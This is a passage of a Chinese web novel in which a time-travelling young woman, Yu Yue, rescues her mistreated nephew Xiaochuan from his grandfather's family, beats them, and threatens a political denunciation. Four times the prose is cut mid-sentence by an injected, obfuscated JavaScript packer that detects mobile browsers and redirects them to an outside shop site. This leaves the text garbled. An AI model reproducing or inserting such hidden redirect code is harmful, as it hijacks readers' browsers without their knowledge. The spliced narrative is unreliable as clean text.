小船也怀疑自己是在做梦,从小到大他都已经习惯了被小叔林金宝欺负,也习惯了没人能够帮得了他。 林建国和常芬虽然是小船的爷爷奶奶,但他们也是林金宝的父母,而且他们对这个小儿子可以说是疼进骨子里,对于林金宝欺负小船一事,他们不仅不会责骂他,反而还会夸他真厉害。 至于其他的邻居,即便他们当中有人看不过眼让林建国和常芬好好管管林金宝,可他们夫妻从来不管,要是说得多了,常芬甚至会直接让对方别狗拿耗子,多管闲事,真要看不过眼的话,干脆把小船领回家去养。 这年头的粮食多紧缺?别看住在家属楼里的每家每户至少有一个工人,但是在城里生活,吃颗葱都要钱,谁家有闲钱帮人养孩子? 于是久而久之,就没有人再管林金宝欺负小船的事了。 小船以为今天也和往常一样,结果没想到居然有人冲过来帮他了?而且还直接把林金宝拎起来扔掉? 这对小船来说简直太不可思议了,因为林金宝有一对护犊子的父母,没有人愿意为了他而对林金宝动手,得罪林建国和常芬。 所以当虞悦把他从地上拉起来的时候,小船脸上的表情十分茫然和无措。 看到小男主这个反应,饶是虞悦并不是他真正的亲姑姑也不由地心疼了,开口说话时声音都放轻了几分:“小船你别怕,姑姑来了。” 姑姑? 是他爸爸跟他提过的那个姑姑吗? 是收到他的信来救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028805|194476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的那个姑姑吗? 小船的眼睛突然一下子亮了起来,但看向虞悦的目光里仍然带着几分不确定。 他确实是给自己的亲姑姑“写”信求救了,也盼着她能来南潭接他,但是当她真的出现在自己的面前时,小船却惊喜到不敢相信这竟然是真的。 “姑、姑姑?” 虞悦笑着“哎”了一声,正想说什么,一道尖利的女声响起:“啊,金宝!金宝你没事吧?” 虞悦注意到,小船一听到这个声音,稚嫩的小脸上顿时闪过一丝惧色,她没说什么,而是循声望去,就见一个四十岁出头的中年女人呼天抢地地朝着林金宝扑了过去。 而林金宝也不知道是终于反应过来了,还是意识到能给自己撑腰的人来了,直接鬼哭狼嚎起来:“好疼啊,妈,我的屁股疼,手疼,脑袋疼,浑身都疼,你快帮我打死她个杂秧怪婆。” 和常芬比起来,林金宝的声音更加尖利,听得人耳朵疼,偏常芬不觉得,反而因为他的话而心疼得要命,起身就张牙舞爪地朝虞悦这边扑了过来,要找她算账。 “你个狗娘养的破烂货,居然敢动我儿子,遭雷劈的玩意儿,老娘要你知道我的厉害!” 小船吓得小脸煞白,他太清楚常芬打人有多疼了,尤其是她特别喜欢拧人,他每次被她拧过之后,都得疼好久,身上的淤青更是一个星期都消不了。 小船越是害怕,虞悦心头的怒火就越盛,不过她没来得及出手,回过神来的俞江就连忙冲了过来一边把虞悦和小船护在自己的身后,一边用手臂挡住常芬当武器使的双手:“冷静点,有话好好说,有话好好说。” 俞江的外表确实很有欺骗性,但前提是不要暴露他的脾气,常芬迎面和俞江对上的时候也唬了一跳,理智短暂地回笼了,但是当她意识到俞江不过是个外墙内个的纸老虎后,她的愤怒瞬间再次占据了上风。 “你个王八蛋跟她个破烂货是一伙儿的?好好好,老娘今天打死你们两个杀千刀的!” 常芬的双手挥舞得更加使劲了,眼见着俞江一个大男人都要招架不住,虞悦直接伸手拉开了护在他们面前的俞江,然后往常芬的脸上直接来了一拳。 虞悦已经控制好力度了,但挨了一拳的常芬依然一瞬间痛到眼泪鼻血齐飞,一边捂着鼻子一边惨叫:“啊——鼻子!我的鼻子!我的鼻子断了!” 一个接一个的变故看得在场的人震惊连连,尤其是看到常芬捂住鼻子的手指缝不停地流出鲜血,更是忍不住咂舌:“我的天,看不出来啊,这小姑娘看着浑身上下没几斤肉,居然有那么大的力气一拳把人鼻子给打断?” 跟常芬认识的人纷纷上前,别管她们平时跟她关系怎么样,但是她们都是住在一个家属楼里的,好歹有些交情,总不能眼睁睁地看着她被外人欺负而不理不管。 只是她们还没来得及帮常芬出头,就听到动手打人的小姑娘突然扬声道:“我举报!我抓到潜伏在我们群众里面的坏分子了!” 话音刚落,她就指着常芬斩钉截铁地道,“她就是那个坏分子!” 啥? 坏分子? 常芬是坏分子? 原本想要为她出头的邻居顿时齐刷刷地往后退了三步。 5. 第 5 章 005 虞悦斩钉截铁的一句话让认识常芬的人齐刷刷地往后退,却让不认识常芬的人纷纷往前走,一个接一个不约而同地以包围的方式将常芬和林金宝给围了起来。 虽然他们不认识虞悦,也不确定她说的是不是真的,但是万一呢? 万一常芬真的是坏分子呢? 那他们可不能让她跟她儿子有机会逃了。 “你们疯了吗?”常芬现在已经顾不上鼻子上的剧痛了,上一秒她还因为虞悦莫名其妙的指认而愤怒,下一秒她就被自己邻居们和围观群众们的反应给整得惊呆了。 “她一个破烂货说的话你们也信?她明明就是故意给我泼脏水冤枉我的啊,你们要是真信了那就是上了她的当了。” “老李家的,红霞,招娣,你们说话啊,别人不了解我,你们还不了解我吗?我怎么可能是坏分子啊!” “我的青天大老爷啊,这还有没有天理了?我跟我儿子白白被人打了还要被人冤枉是坏分子,我看你们才是坏分子!潜伏在我们群众里的坏分子是你们才对!” 原本还在喊冤的常芬越说越觉得自己说得有道理,于是一手捂着自己还在流血的鼻子,一手指着虞悦和俞江道,“说,你们是谁?打哪儿来的?为什么要冤枉我?是不是知道我儿子是军人所以故意给我泼脏水,想要迫害军属?” 军属? 她是军人的亲属? 原本将常芬和林金宝包围起来的围观群众得知她的身份后面面相觑,虽然没有放松对他们母子的包围,但警惕的目光已经从他们身上转移到虞悦和俞江身上。 这年头的老百姓都十分爱戴军人,正所谓爱屋及乌,他们对军人的家属也十分有好感,毕竟他们可不能让军人流血又流泪了。 而常芬的那些邻居们也反应过来了,她们仔细回忆了一下,她们跟常芬认识这么多年了,虽然知道她有这样那样的毛病,但是认真想想她们又觉得她不太可能是什么坏分子。 于是有人忍不住开口道:“小姑娘,你为啥说她是坏分子啊?你是不是有什么证据?” “是啊,你要真有证据的话那就拿出来,我们肯定站你这边,要是没有的话那你可就得倒霉了,毕竟常芬她儿子真是军人。” 哪怕她那个军人儿子不是她亲生的,但是继子也是子。 俞江的神经顿时紧绷了起来,他微微侧头看向虞悦,却见她不慌不忙地道:“我当然有证据了。” 说罢,她伸手把自己身后的小船揽到自己的身边,“这就是证据。” 看到众人都一副不明所以的样子,虞悦道,“我先自我介绍一下,我叫虞悦,这是我二哥俞江,我们兄妹两人都是从江城来的。” “而我们来南潭的目的很简单,就是来见一见我们大哥的儿子小船的,而我们的大哥就是她口中的那位军人儿子。” 虞悦的自我介绍引起了张红霞她们的惊讶:“你的意思是说小船他爹是你们的大哥?不对啊,小船他爹啥时候多了你们两个弟弟妹妹了?” 跟常芬认识的邻居们都知道她跟林建国是二婚的,夫妻两人总共就三个儿子,除了林金宝之外,另外两个一个是林建国跟前妻生的林泽,一个是常芬跟前夫生的徐东亮。 所以虞悦这会儿突然自称小船他爹是他们的大哥,张红霞她们自然心存怀疑。 倒是常芬的脸色微变,她的目光在虞悦和俞江两人的脸上来回游移,最终定在了虞悦的脸上,仿佛想要透过她的脸确定什么似的。 “这就说来话长了,为了节省时间我就长话短说,当年我亲爹趁着我妈生我的时候不仅卷走了家里的钱,还把我大哥也一并偷走了,不仅害得我妈跟我大哥骨肉分离了十七年,还害得我打从出生就没见过我大哥。” 虞悦说,“直到今年二月份我大哥找上门,我们才跟他相认了,你们要是认识我的大哥的话应该看得出来我跟我大哥长得是挺像的,要是不认识我大哥的话那就看看我侄子,我跟他也有几分相像。” 这下不管认识不认识常芬的人都吃惊了,他们认真地看了虞悦几眼,认识虞泽的拿他跟虞悦对比,不认识虞泽的拿他儿子跟虞悦对比,然后发现他们的眉眼还真的有几分相似。 “不是吧?林工以前还干过这么缺德的事儿?” “怪不得他从来不提他前头那个婆娘,敢情是没脸提啊。” 同样都是女人,她们都知道生孩子是一件半只脚踏进了阎王殿的事,在这个时候身为丈夫不帮忙就算了,竟然还趁人之危,这还算什么男人? 大家挖苦的话落到常芬的耳边,让她的脸色一变再变,她有心想要帮林建国说两句,一直盯着她的虞悦却抢先开口道:“你要是敢否认的话,那我不介意说得再详细一些。” 她的一句话直接让常芬闭嘴了,有人注意到了这点,脸上不由地露出八卦的神色,但不等她们追问,虞悦又开口了:“所以大家知道了吧?她所谓的军属身份是掺了水分的,但是小船不一样,他是我大哥的亲儿子,真正的军人家属,英雄后代。” “结果刚刚发生的事情你们也看到了,堂堂英雄后代居然被人压在地上当牛马一样来骑。” “这还是在大庭广众之下,他就敢这么欺负小船,那背地里呢?大家看不到的时候呢?谁知道他们是怎么作践虐待我们的小军属的?” “而他一个小孩为什么敢这么做?不就是家里的大人们纵容的吗?大家试想一下,换做是你们,你们会允许甚至纵容自己的孩子这么做吗?你们不怕英雄流血又流泪吗?” “可他们允许,他们纵容,他们不怕。” “所以不止是她,我看就连她儿子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028806|194476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是一个坏分子,欺压作践甚至迫害英雄后代的坏分子!” “主席同志说过,世上绝没有无缘无故的爱,也没有无缘无故的恨,一个人爱什么,恨什么,完全是取决于他的立场。” “所以他们母子两人为什么会这么做?立场又是什么?他们是因为发自内心地憎恨我们的军人同志还是别有用心地企图靠迫害军属达到什么不可告人的目的?” “我认为这件事情的性质十分严重,必须上报公安……不,应该上报革委会,让革委会的同志好好地彻查一下他们母子二人。” 随着虞悦最后一个字落地,常芬再也撑不住了,腿一软直接跌坐在地上,就连刚刚还嚷嚷着要亲妈帮他报仇的林金宝也十分识时务地闭上嘴巴,一脸惶恐地躲在常芬的身后。 虽然林金宝不太理解虞悦说的那些话意味着什么,但是看常芬的反应和周围人的态度,他一下子意识到他们有大麻烦了。 这点不止林金宝意识到了,其他人也一样。 有的人已经反应过来了,常芬和林金宝不一定是坏分子,但是虞悦肯定是在给他们娘俩扣帽子。 听听她说的那些话,一句比一句吓人,最后甚至想要惊动革委会,这年头谁不怕革委会的人啊? 真要上报革委会的话,哪怕常芬和林金宝真的不是什么坏分子,但是他们娘俩只要到革委会转一圈,至少都得丢半条命。 更别提常芬和林金宝他们也不是真的那么无辜清白。 张红霞她们几个互相对视一眼,一时之间她们的脑子里只浮现出一句话—— 果然不是不报,只是时候未到。 以前她们也劝过常芬他们对小船好一点,结果他们仗着孩子亲爹常年不在家就不把他当一回事,结果现在好了吧,人家亲爹确实没回来,但人家亲姑姑回来给孩子撑腰了。 张红霞她们能想到的,常芬也能想得到,所以她这会儿哪里还有半分如刚刚张牙舞爪地找虞悦麻烦的泼辣劲? “别,别上报革委会。”常芬的脸色在鼻血的衬托下显得格外惨白,“我们没憎恨军人同志,也没有什么不可告人的目的,金宝、金宝他就是不懂事……” 说罢,常芬一抹鼻子,然后伸手把躲在自己身后的林金宝揪了出来,一边打他一边道,“我跟你说过多少次了?让你跟小船玩的时候有点分寸,有点分寸,你这孩子怎么就不听呢?” 常芬突如其来的举动看得小船不由地睁大了眼睛,打从他有记忆开始,这还是他第一次见他后奶奶揍他小叔。 虞悦被小船这副惊奇的小模样给可爱到了,她知道常芬是故意当着她的面来这一套,无非就是想装可怜,博取同情罢了。 不过…… “别打了。”虞悦如常芬所愿地开口道,“既然你这么说了,我就暂且信你一回。” 6. 第 6 章 006 虞悦的反应有点出乎常芬的意料,她这番唱念做打的目的确实是想通过装可怜来博同情,但是她并不是打算博虞悦的同情,而是博其他人的。 她想只要其他人同情他们母子二人的话,那么虞悦想要给他们扣帽子也得掂量几分。 但是她没想到其他人什么都没做,虞悦就先如她所愿地放过他们了。 目的过于容易达到的结果就是常芬反而更加忐忑了,她目光不由地落到了走在她前面的虞悦身上。 说来也是奇怪,明明俞江的身材比较高大,模样也比较凶,但是常芬却更警惕身材纤细且模样清丽的虞悦,她可没有忘记她刚刚那副牙尖嘴利的样子,更没有忘记她打她的那一拳。 一想到这儿,常芬又开始觉得鼻子疼了。 虞悦没有回头也能够感受得到常芬他们落到她身上的目光,但她没有在意,比起他们,她更在意的是自己怀里抱着的小男主。 她没有生过孩子,不知道一个五岁孩子的标准体重是多少,但她至少知道应该不可能像小船这么轻。 虞悦抱着他就感觉像是在抱着一团棉花似的,实在是太轻了,就连最该有肉的小屁股她抱着都觉得硌手。 她问:“小船,平时他们是不是没有给饱饭你吃?” 小船下意识地摇头:“有、有的。” 虞悦懂了,那就是没有,之前他在小广场上被林金宝压在地上当牛马一样来骑的时候,两个膝盖都已经擦破皮了,当她发现的时候问他疼不疼,他也说不疼。 但他是真不疼还是假不疼她还能分辨不出来吗? 虞悦知道小男主在撒谎,但她也知道这并不能怪他,他撒谎不过是因为知道自己要是说真话的话不仅没办法得到心疼和怜惜,说不定还会招来嫌弃甚至是谩骂。 虞悦对此感同身受,所以她什么也没说,只是伸手摸了摸他的小脑袋。 小船的眼睛顿时变得亮晶晶的,他可以感受得到他姑姑摸他脑袋时的掌心温度和力度,明明她力气大到一拳就能够把后奶奶的鼻子打歪,但是她现在摸他脑袋的力度却轻柔得像是在抚摸什么宝贝似的。 一想到自己就是那个宝贝,小船就感觉自己就像是肥皂泡泡一样,整个人都要飘起来了。 不止小船飘了,林金宝也飘了。 本来在小广场被虞悦吓怂了的林金宝回到家属楼后,也不知道是不是觉得到了自己的地盘,有依靠了,一改之前的态度,拔腿就往家里冲,边冲边大喊道:“爸爸爸——” “有个杂秧怪婆欺负我和我妈,你快出来帮我们打死她。” 林金宝这么一喊,别说是林建国了,就连其他留在家里的邻居们也被他一嗓子给喊出来了。 常芬没想到林金宝居然会这么做,迎上虞悦那似笑非笑的模样,她头皮一麻,已经顾不上别的,连忙冲上去一边将出来的林建国推搡回屋,一边道:“没事没事,老林你别听金宝胡说。” “我才没有胡说。”被冤枉的林金宝跳起来反驳道,“妈你的鼻子都被那个杂秧怪婆给打断了,刚刚还流了好多血呢。” 林建国一听,下意识地往常芬的鼻子看了过去,她的鼻子有没有被打断他没有看出来,但他看出来她鼻子确实是受伤了,脸上甚至还有没擦干净的血迹。 “这是怎么回事儿?”林建国的脸上出现怒色,“谁把你打成这样的?” 见常芬只是一个劲儿地冲他摇头,林建国心生不解,正要开口就听到林金宝大声道:“爸,她她她!就是她那个杂秧怪婆把我妈打成这样的。” 林建国顺着林金宝所指的方向看了过去,第一眼就看到了抱着小船的虞悦,他正奇怪自己的孙子为什么被一个外人抱着的时候,目光触及到虞悦那张脸后他愣住了。 虞悦抬眸看了一眼这个身体的生父,哪怕她并不知道他平时一日三餐都吃什么,但是看他的状态和气色她都可以猜得出来他这些年肯定不缺吃不缺喝的,要不然也不会把自己养得这么好了。 然而林建国的状态和气色越好,虞悦就越是确定他真的是个自私自利的人渣。 常芬和小船没有血缘关系,但林建国可是小船的亲爷爷,结果他倒好,自己吃得一肚子油水,却把小船养得瘦巴巴的。 他这么做对得起小船喊他的一声声“爷爷”吗? “没错,是我把你妈打成这样的。”虞悦爽快地承认了,她看着林金宝道,“你要不要再详细说说我为什么把你妈打成这样?” 常芬这下学聪明了,伸手直接捂住了林金宝的嘴巴,不给他开口的机会,然后扭头对林建国道:“老林,有什么事儿咱回去再说吧。” 林建国猜到虞悦的身份后就明白常芬刚刚的反应为什么那么异常了,他也不知道是因为心虚还是因为没反应过来,常芬再推搡他,他就轻轻松松地被她推进了屋里。 虞悦抱着小船,带着身上挂满了行李的俞江一块进屋了,被林金宝一嗓子喊出来的邻居们好奇地围了上去,想要打听虞悦他们的身份以及常芬为啥被打还不敢找人算账。 结果他们刚一围上去,常芬就“啪”的一声把门关上了。 邻居们见状先是失望,然后立马扭头就朝张红霞等人看了过去:“老李家的,你们知不知道咋回事儿啊?” “是啊,常芬为啥挨揍了?真是那个小姑娘揍她的?我瞧她也不像是那么有劲儿的人啊。” 他们可没有忘记他们是跟常芬他们一块回来的,他们想知道的事说不定他们都知道。 “你们可算是问对人了,我们还真知道是咋回事儿。” 张红霞她们已经憋了一路,当着当事人的面,她们到底没好意思说什么,但现在不一样了,现在不是已经隔着一扇门了嘛。 于是她们就滔滔不绝地跟邻居们说起刚刚在小广场那儿发生的事,说得激动了不仅没能控制住音量,甚至手舞足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028807|194476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹈起来了。 所以哪怕隔着一扇门,屋里的林建国依然能把张红霞她们的话听得一清二楚。 他黑着脸看向虞悦,刚刚看到她那一瞬间心底里涌起的复杂情绪一下子就被愤怒给冲散了:“你当着外人的面胡说八道些什么?” “我是不是胡说八道,你心知肚明。”虞悦伸脚把椅子勾了过来后把小船放到椅子上,然后看向林建国道,“你应该庆幸我没把你们干的那些丑事全说出来了,要不然不用我上报,革委会自然会来找你们。” 林建国比常芬要淡定一些:“你有证据证明你说的和没说的那些事情都是真的吗?我还说当年是因为你妈背着我跟人偷情生了你,我受不住这份屈辱才跟她分开的呢。” “我瞧你的模样长得没有一点像我,说不定你还真不是我的种。” 虞悦现在终于知道为什么有个成语叫“怒极反笑”了,因为人在愤怒到极点的时候真的会发笑。 当然了,笑并不影响虞悦出手,她抬手就往林建国的脸上打了一拳:“闭嘴吧你个老杂种。” 虞美云对于刚刚穿过来没两天虞悦来说,其实就跟个陌生人差不多,但即便是陌生人,她也接受不了林建国给她造黄谣的恶心行为。 这实在是太下作了。 在二十一世纪还有女孩子因为被人造黄谣而跳楼,更何况是现在这个敏感又疯狂的年代? 所以虞悦这次出手没有控制力度,挨了一拳的林建国整个人不受控制地往后倒退几步,直到撞到墙才停了下来。 常芬和林金宝已经不是第一次见虞悦动手了,但再次见到,母子两人仍然吓到尖叫一声,尤其是亲眼见到林建国不仅往地上吐了一口血沫,还吐了一颗牙后常芬更是连忙扑了上去。 “老林,老林你怎么样了?” 即便刚刚虞悦主动承认了常芬是她打的,林建国也仍然有些存疑,但是现在不一样了,他确信她确实有这样的本事把常芬打得鼻血横流。 “现在清醒了吧?”虞悦说,“我们这次来南潭就两个目的,第一,带小船回江城跟我们一块生活,第二,把我大哥这些年给你们寄的钱还回来。” “你们好好考虑要不要答应我,最迟明天给我答复,小船我就先带走了,今晚他跟我们一块住招待所。” 说罢,她伸手重新把小船抱了起来,然后招呼着俞江跟她一块离开。 门刚一打开,就见门外站满了人,众人已经从张红霞她们的口中知道了事情的来龙去脉,所以即便他们明明通过常芬和林金宝的尖叫声猜到林建国肯定是吃亏了,他们也没好意思帮他声讨虞悦他们。 一来因为他们还有三观,二来嘛,当然是因为他们已经从张红霞她们那儿知道虞悦不好惹了。 要是虞悦给他们扣一顶助纣为虐的帽子咋办? 于是打了人的虞悦在众人的注视下抱着小船、带着俞江十分顺利地走出了南潭家具厂的家属楼。 7. 第 7 章 007 虞悦他们一走,林金宝再也忍不住了,张嘴就哇哇大哭了起来,常芬一边要顾着被虞悦打到吐血的丈夫,一边还得担心哭得声嘶力竭的小儿子,整个人恨不得劈开两瓣来使。 哪怕在外面围观的邻居们已经是知情人了,但是他们和林建国他们到底是做了十几年的邻居,看到他们一家三口现在这个惨状,也心有不忍。 “哎呀,老林你咋样了?要不去一趟医院吧?” “是啊,这都吐血了,该不会是伤到内脏了吧?” “老林,把你打到吐血的该不会也是那个小姑娘吧?” 林建国一向是个好面子的,换做是平时的话他肯定想的是家丑不可外扬,但现在? 他一改之前的性子,一边在常芬的搀扶下站了起来,一边苦笑道:“说出来也是让大家见笑了,我也没想到自己第一次见亲闺女就被她打了一顿,真是家门不幸啊。” “是家门不幸还是报应那可真的是不好说了。”有人看不过眼开口道,“就冲着你十几年前对人家亲妈干的那点事儿,哪个孝顺崽儿会不生气?” 常芬本来就攒了一肚子火,这会儿见平时跟自己有恩怨的死对头还来落井下石,她顿时就憋不住了,正要开口,却被林建国抢先了,他叹了一口气:“我也不知道她妈为什么要这么跟她说,明明我当年跟她分开是因为我受不了……算了算了,说到底她是她妈养大的,她爱怎么想我就怎么想我吧,我只希望她别再像她妈那么冲动了。” “我是她亲爹,就算她把我打到吐血我也可以不跟她计较,但是外人呢?她这个性子以后肯定免不了吃亏了。” 就连常芬也没想到林建国挨了虞悦一拳后不仅没有在外人面前责怪她,反倒是担心起她来,她虽然不明白他为什么这么做,却也没有多嘴说什么扯他后腿。 而其他人一听林建国说得这么含糊不清,个个的好奇心又被勾了起来:“老林你别说一半不说一半啊,难道那小姑娘说的那些都是假的?你跟她妈分开也是另有内情?” “不说了,不说了。”林建国摆摆手,“到底夫妻一场,不管怎么样,她确实为我生儿育女过,所以就算她在孩子面前说我的坏话我也认了。” 说完,他不给其他人再开口的机会,就让常芬带上林金宝,扶他一块上医院。 “听老林的意思,他当年没趁着他前边那个婆娘生孩子的时候把家里的钱和儿子都卷跑了?” “你们说,老林说他是因为受不了才跟他前边那个婆娘分开的,到底收不了啥?” “会不会是他前头那个婆娘跟刚刚那个小姑娘一样,也是个爱打人的。” “真要是这样的话,那难怪老林受不了了,换做是哪个男人也受不了啊。” “保不齐还真是这样,你们刚刚看到没?老林可是吐了一地的血,也不知道伤成咋样了,你们说那小姑娘的心肠怎么那么狠?” “怎么就狠了?老林要不是真干了亏心事,他跟常芬能认了这顿揍?” “话不是这么说的,不管咋样老林都是她亲爹,这闺女打亲爹不怕天打雷劈啊?” “哎,这种迷信的话可不能随便说。” …… 虞悦并不知道自己走后,林建国的一番唱念做打成功地勾起了不少邻居们的同情心,甚至让他们开始怀疑起她的那一套说辞和虞美云的为人。 他们入住了招待所后,虞悦他们顾不上休息,洗了把脸后就带着小船去了一趟医院。 “不,不用了。”小船知道虞悦他们带他去医院的目的后连忙摆手的,“姑姑、二叔,我不疼的,不用去医院,用水洗洗它很快就好了。” 小船虽然撒谎了,但他确实觉得自己这点小伤不用上医院,毕竟上医院多费钱呀?姑姑他们愿意带他离开已经很好了,他不能再让他们为了他多花钱。 “不行。”俞江想都不想就拒绝道,“你膝盖上的伤口有点大,现在的天气又那么热,不处理的话它有可能会发炎的,到时候你膝盖上的伤就很难好了。” “小船你别怕,去医院就是让医生给你消消炎,不用打针的。” 虞悦一听就知道俞江这番话不可能让小船改变主意,因为她猜他根本不是因为怕打针才不去医院,她对他道:“小船你别怕花钱,你知道你爸这几年给你们寄了多少钱吗?那钱多得你一辈子都花不完。” 小船睁大了眼睛:“爸爸寄了那么多钱回来吗?” “当然了。”说他一辈子花不完是假的,但是认真算起来虞泽这些年确实没少给林建国他们寄钱,“你爸是十六岁的时候出去当兵的,一开始津贴不高,每个月只寄三块钱回去,但是升了排长之后,每个月就寄了十五块钱回去,直到你出生后,为了托他们照顾好你,前两年是每个月都寄三十块钱回去,后三年是每个月都寄四十块钱。” “你出生前的姑且不算,只算你出生后的这五年,你知道你爸总共寄了多少钱回去吗?” 虞悦知道得这么清楚是因为虞泽和原主他们相认后提过这件事,而他也解释过他之所以当兵后每个月都给林建国寄钱是因为他当时没有恢复记忆。 原来虞泽小时候被林建国带回南潭后曾生过一场大病,病好后他丢了大部分的记忆,不仅忘了自己的生母和还没出世的妹妹,也忘了自己曾经的家在哪里。 直到他当兵后在一次出任务时不小心受伤后突然恢复了部分他丢失的记忆,那时候他才想起来林建国跟常芬曾经做过什么对不起他生母的事情。 当时虞泽想回去找林建国他们算账,偏偏他抽不出时间,再加上他唯一的孩子还养在林建国那儿,最后他不得不继续每个月给他们打钱。 毕竟他当时没办法把小船接到部队生活,不仅仅因为他没办法照顾好他,更因为部队的生活实在是太艰苦了。 直到找到虞美云他们,经过原主的劝说后,虞泽才萌生了带小船一块到部队生活的念头。 只可惜这个念头最终都没有实现。 看着还不知道自己已经是个孤儿的小男主,虞悦心想这可真不能怪她记吃不记打,谁让小崽崽实在是太惨了呢? 尤其是这么惨的小崽崽还那么乖,更容易让人心疼了。 一旁的俞江还在算虞泽这五年总共寄了多少钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028808|194476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给林建国,结果小船张嘴就道:“两千一百六十块。” 这下轮到俞江睁大了眼睛,他掰着手指算了一遍确定他不是随便瞎说一个数字后惊讶道:“小船你怎么算得这么快?” 虞悦笑道:“我们小船聪明呗。” 鲜少被夸的小船没有说话,但是腰板却情不自禁地挺直了。 俞江也笑着夸道:“确实聪明,要不然也不会想到请人给我们写信了。” 说着他好奇问道,“小船你是找谁帮你写信的?” “没找谁。”小船摇头道,“我是照着报纸上的字画的。” “你是说你给我们寄的那封信里面的所有字都是你自己写……不是,都是你自己画的?”俞江大吃一惊。 小船“嗯”了一声。 俞江恍然大悟,怪不得他之前总觉得小船寄过来的那封信上的字迹有点怪怪的,但是当时他没有多想,只当帮忙写信的人写字比较有特色而已。 完全没想到那封信居然是小船自己画出来的。 虞悦倒是不意外,因为她早就知道小男主小小年纪就画技了得,要不然他也不会在被买家打断一条腿,关在落后的村子里求助无门后想到了靠画假qian吸引公安的注意,从而获得解救了。 她记得自己当时看到这一段剧情的时候简直惊呆了,被人贩子拐卖的主角她见得多了,但是用这种办法自救的主角她还是第一次见。 不过虞悦还是装出一副惊讶的模样:“没想到我们小船还是个小天才啊,这也太厉害了。” 小船这下被夸得不止腰板都挺直了,嘴角还忍不住疯狂上扬。 他一直都知道自己亲爹有给家里寄钱,但他一直以为他每次寄的那点钱都只是勉强够他吃穿而已,要不然他后奶奶也不会一没收到钱就想把他给卖了。 现在知道自己亲爹光是这五年就寄了两千多块钱回来,小船就不再反对去医院了,只是…… “姑姑,爷爷他们会愿意把钱还回来吗?”小船不太确定。 当然不会了,虞悦很确定,但是这不重要,重要的是—— “他们不愿意的话我们可以想办法让他们愿意。” 虞悦一向做事的宗旨就是有问题就解决问题,实在解决不了那就解决制造问题的人呗(bushi)。 * 因为小船两个膝盖都受了伤,不能碰水,所以当天虞悦他们没带他去洗澡,而是打了水打算帮他擦个澡。 虽然才五岁,但小船依旧不好意思让俞江给他擦身体,更别提让虞悦帮这个忙了。 虞悦也没勉强:“那你自己小心点,我们就在外面,需要的话就喊我们好了。” “我知道了,姑姑。” 俞江帮忙调好水温后才离开,趁着小船不在,他看向虞悦问她:“三悦你今天的力气怎么一下子变得这么大了?” 他六岁就认识虞悦,除了下乡那一年之外,他们一直都同一屋檐下生活,所以他很清楚以她的力气根本不可能把常芬的鼻子打歪,更不可能把林建国打到吐血的。 但偏偏不可能的事情今天实实在在地发生了。 8. 第 8 章 008 虞悦早就猜到俞江会这么问了,和孙天赐不一样,他虽然和原主当了这么多年的邻居,但到底不是一块生活在同一屋檐下,再加上他们之前也很少一块玩,所以即便虞悦在他面前暴露了自己的大力气,他也只会惊讶并不会怀疑什么。 可俞江却和原主一块生活了十几年,他很清楚原主不仅看起来弱不禁风,实际上也确实是弱不禁风。 所以他今天亲眼见到她是怎么对付林建国一家三口的,他不可能丝毫不怀疑什么。 单手拎起林金宝可以说是愤怒之下的一瞬间的爆发力,但是打到常芬流鼻血和打到林建国吐血呢? 他不可能不怀疑点什么。 虞悦并不后悔自己今天动手了,稍微有点正义感的人看到今天那一幕都会忍不住动手,林建国他们一家三口,毒的毒、横的横、蛮的蛮,就没有一个好东西。 虞悦只后悔打得轻了。 但现在要怎么解释呢? 虞悦眨了眨眼睛,然后脸上流露出一个困惑的表情,一边摇头一边道:“我也不知道,当时看到林金宝那么欺负小船的时候,我一生气,突然就觉得自己浑身都是劲儿了。” 俞江脸上的表情也随着虞悦的话而变得困惑起来,不等他开口说什么,她突然降低了音量问道,“二哥,你说……我这是不是鬼上身了啊?” “……???” “……!!!!!!” “快别胡说,什么……咳,上身?这话是能随便说的吗?”俞江被惊得瞪大了眼睛,双手合十朝着四面八方拜了拜,“小孩子不懂事,还请千万别见怪。” 